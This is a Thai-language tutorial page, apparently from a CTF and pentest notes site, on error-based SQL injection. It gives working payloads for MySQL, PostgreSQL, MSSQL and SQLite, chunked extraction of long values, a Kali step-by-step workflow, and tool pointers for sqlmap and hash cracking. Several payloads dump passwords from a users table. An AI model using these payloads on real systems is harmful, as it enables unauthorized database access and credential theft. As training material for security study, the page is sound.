คลัง
web

Error-based SQLi

Error-based SQLi ดึงข้อมูลออกมาผ่านข้อความ error ของฐานข้อมูล โดยบังคับให้ DB คำนวณ subquery แล้วนำผลลัพธ์ไปฝังในข้อความ error ที่แอปแสดงบนหน้าเพจ ใช้เมื่อแอปเปิด verbose error เร็วกว่า blind มากเพราะได้ข้อมูลเป็นก้อนต่อ request บทนี้รวม payload ตามชนิด DB ข้อจำกัดความยาว และการดึงข้อมูลยาวทีละส่วน

Intermediate#sqli#error-based#injection#extractvalue#updatexml#web#ctf

1. หลักการ

ถ้าแอปแสดงข้อความ error ของ DB กลับมา (verbose error) เราบังคับให้ DB สร้าง error ที่มีข้อมูลที่ต้องการฝังอยู่ — เทคนิคคือทำให้ฟังก์ชันบางตัวได้ input ผิดรูปแบบ (เช่น XPath ที่ไม่ถูกต้อง หรือ cast string เป็น int) แล้ว DB จะพ่น error ที่มีค่าที่ทำให้พังติดมาด้วย ซึ่งก็คือผลของ subquery ที่เราแทรกเข้าไป

บังคับ error ให้พก subquery ออกมา
extractvalue(1, concat(0x7e,(SELECT ...))) XPATH syntax error: '~admin:5f4dcc...' DB พ่น error 0x7e='~' ทำให้ XPath invalid ข้อมูลติดมาในข้อความ error
Error-based พึ่ง verbose error — ระบบ production ที่ปิด error จะใช้ไม่ได้ ถ้าปิดอยู่ให้ข้ามไป Blind (boolean/time) แทน

2. Payload ตามชนิด DB

MySQL — extractvalue / updatexml (XPath error)
-- extractvalue: จำกัด ~32 ตัวอักษรในผลลัพธ์
1 AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
1 AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
1 AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))-- -

-- updatexml: ทำงานคล้ายกัน จำกัด ~32 ตัวเช่นกัน
1 AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1)),1)-- -
0x7e='~' ทำให้ XPath ผิดรูป DB จึงพ่นค่าที่ตามหลัง ~ ออกมาใน error
MySQL — double query / floor() (เมื่อ extractvalue ถูกกรอง)
1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- error: "Duplicate entry '5.7.x~1' for key 'group_key'"
เทคนิค floor/rand ทำให้เกิด duplicate key error ที่มีข้อมูลติดมา ใช้ได้แม้ extractvalue โดนบล็อก
PostgreSQL / MSSQL / SQLite (cast/convert error)
-- PostgreSQL: cast string เป็น int → error แสดงค่า
1 AND 1=CAST((SELECT version()) AS INT)-- -
1 AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables) AS INT)-- -

-- MSSQL: convert error พ่นค่าออกมา
1 AND 1=CONVERT(INT,(SELECT @@version))-- -
1 AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- -

-- SQLite: มักไม่ error-based; ใช้ UNION/blind แทน (ตัวอย่างบังคับ error)
1 AND 1=load_extension((SELECT sqlite_version()))-- -
PostgreSQL/MSSQL ได้ข้อมูลเต็มความยาวใน error (ต่างจาก MySQL extractvalue ที่ตัด ~32 ตัว)

3. ดึงข้อมูลที่ยาวเกินขีดจำกัด

extractvalue/updatexml ของ MySQL ตัดผลเหลือ ~32 ตัวอักษร ถ้าข้อมูล (เช่น hash 32 hex, หรือ flag ยาว) เกินนั้น ให้ดึงทีละส่วนด้วย SUBSTRING แล้วต่อกันเอง

ดึงเป็นช่วงด้วย SUBSTRING (MySQL)
-- ตัวที่ 1-31
1 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING((SELECT password FROM users LIMIT 1),1,31))))-- -
-- ตัวที่ 32-62
1 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING((SELECT password FROM users LIMIT 1),32,31))))-- -
-- ต่อผลทั้งสองส่วนเข้าด้วยกันเอง
MID() ก็ทำงานเหมือน SUBSTRING — เลื่อน offset ทีละ 31 จนครบความยาว (หา LENGTH ก่อนเพื่อรู้จำนวนรอบ)

4. ข้อผิดพลาดที่พบบ่อย

  • ลืมว่า MySQL extractvalue ตัดที่ ~32 ตัว — คิดว่าได้ข้อมูลครบทั้งที่ขาด
  • ใช้ error-based กับระบบที่ปิด verbose error → ไม่มีอะไรออกมา (ควรสลับไป blind)
  • subquery คืนหลายแถว → error 'Subquery returns more than 1 row' (ใส่ LIMIT 1 หรือ GROUP_CONCAT)
  • ลืม 0x7e (~) นำหน้า → บางทีอ่าน error ยากว่าค่าเริ่มตรงไหน
  • PostgreSQL cast: subquery ต้องคืนค่าเดียว ไม่งั้น error คนละแบบ

5. Quick Reference

  • ใช้เมื่อแอปแสดง SQL error (verbose) — เร็วกว่า blind มาก
  • MySQL: extractvalue(1,concat(0x7e,subquery)) / updatexml (ตัด ~32 ตัว)
  • MySQL สำรอง: double-query floor(rand(0)*2) เมื่อ extractvalue โดนกรอง
  • PostgreSQL/MSSQL: cast/convert subquery เป็น INT → error แสดงค่าเต็ม
  • ข้อมูลยาว → ดึงทีละ 31 ตัวด้วย SUBSTRING แล้วต่อเอง
  • subquery หลายแถว → LIMIT 1 หรือ GROUP_CONCAT
  • error ถูกปิด → สลับไป Blind SQLi (boolean/time)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเห็น error message ของ SQL หลุดออกมาบนหน้าเว็บ (verbose error) ใช้ error นั้นเป็นช่องทางดึงข้อมูลออกมาทีละก้อน

  1. 1ยืนยันว่า error message เปลี่ยนตามข้อมูลที่ inject จริง (ไม่ใช่ error คงที่) ลองใส่ค่าต่างกันดูว่า error ต่างไหม
  2. 2ระบุ DBMS จาก error message เอง (MySQL: 'You have an error in your SQL syntax', MSSQL: 'Unclosed quotation mark', Oracle: 'ORA-00933', PostgreSQL: 'syntax error at or near')
  3. 3MySQL: ยิง ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- - แล้วอ่านค่าที่โผล่ในข้อความ error (หลังเครื่องหมาย ~)
  4. 4ถ้า extractvalue ตัดข้อความสั้นเกินไป ลองสลับเป็น updatexml(1,concat(0x7e,(...)),1)
  5. 5MSSQL: ลอง ' AND 1=CONVERT(int,(SELECT @@version))-- - ให้ error message โชว์ค่าที่ convert ไม่ได้
  6. 6ไล่ดึง table_name/column_name/username/password ด้วยวิธีเดียวกัน ทีละ subquery ย่อย
  7. 7ถ้า error ถูกปิด (production ปิด verbose error) ให้เปลี่ยนไปใช้ Blind หรือ Time-based ทันที
Master flow — ดึงข้อมูลผ่าน Error-Based SQLi ทีละขั้น
ยิง ' เดี่ยว แล้วดู error message ที่ตอบกลับ
error message เปลี่ยนตามข้อมูลที่ inject จริงไหม (ทดสอบ 2 payload ต่างกัน)?
✅ เปลี่ยนตามจริง (สะท้อนข้อมูล)→ error-based ใช้ได้จริง
❌ error เดิมตลอด/generic error→ error-based ใช้ไม่ได้
ระบุ DBMS จาก keyword ใน error message (MySQL/MSSQL/Oracle/PostgreSQL)
MySQL: ลอง extractvalue()/updatexml() ฝัง subquery แล้วอ่านค่าที่โผล่หลัง ~ ในข้อความ error
ค่าที่ต้องการ (version/table/data) โผล่ในข้อความ error ไหม?
✅ โผล่ครบ→ ไล่ดึงข้อมูลต่อได้เลย
❌ ถูกตัดสั้นเกินไป/ไม่โผล่→ ต้องปรับ payload
สลับ extractvalue ↔ updatexml หรือใช้ SUBSTRING ตัดข้อความออกมาทีละช่วง แก้ปัญหาความยาว error ที่ถูกตัด
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ error message มือBurp Repeater / curlalready in Kali-
ยิงชุดอัตโนมัติsqlmap (--technique=E)already in Kali-
ถอด hex/encode payload--CyberChef
เทียบ syntax error แต่ละ DBMS--dcode.fr
เรียนรู้ payload error-based เพิ่ม--portswigger web security academy
crack hash ที่ dump ได้hashcat / johnalready in Kalicrackstation.net
🚑 ถ้าตันสนิท ลองท่าถัดไป: blind-sqli ถ้า error ปิดไม่มีข้อความให้อ่านเลย, time-based-sqli ถ้า production ปิด verbose error สนิท, union-sqli ถ้าจริงๆ output สะท้อนตรงๆอยู่แล้วไม่ต้องพึ่ง error, command-injection ถ้า DB user มีสิทธิ์รันคำสั่ง OS ต่อยอดเป็น RCE

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้